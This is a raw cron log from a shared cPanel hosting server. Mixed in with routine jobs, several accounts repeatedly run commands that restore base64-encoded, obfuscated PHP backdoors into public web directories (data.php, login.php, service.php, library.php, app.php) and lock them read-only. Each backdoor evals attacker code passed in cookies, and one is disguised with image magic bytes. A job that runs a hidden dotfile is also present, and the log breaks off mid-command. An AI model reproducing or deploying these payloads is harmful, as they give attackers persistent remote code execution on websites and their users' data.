Jun  7 06:52:01 medusa CROND[7948]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:52:01 medusa CROND[7949]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:52:01 medusa CROND[7950]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:52:01 medusa CROND[7951]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:52:01 medusa CROND[7952]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:52:01 medusa CROND[7959]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:52:01 medusa CROND[7963]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:52:01 medusa CROND[7964]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:52:01 medusa CROND[7962]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:52:01 medusa CROND[7966]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:53:01 medusa CROND[9808]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:53:01 medusa CROND[9806]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:53:01 medusa CROND[9807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:53:01 medusa CROND[9809]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:53:01 medusa CROND[9810]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:53:01 medusa CROND[9811]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:53:01 medusa CROND[9812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:53:01 medusa CROND[9813]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:53:01 medusa CROND[9814]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:53:01 medusa CROND[9815]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:53:01 medusa CROND[9816]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 06:53:01 medusa CROND[9819]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:54:01 medusa CROND[11923]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:54:01 medusa CROND[11924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:54:01 medusa CROND[11925]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:54:01 medusa CROND[11926]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:54:01 medusa CROND[11928]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:54:01 medusa CROND[11927]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:54:01 medusa CROND[11933]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:54:01 medusa CROND[11934]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 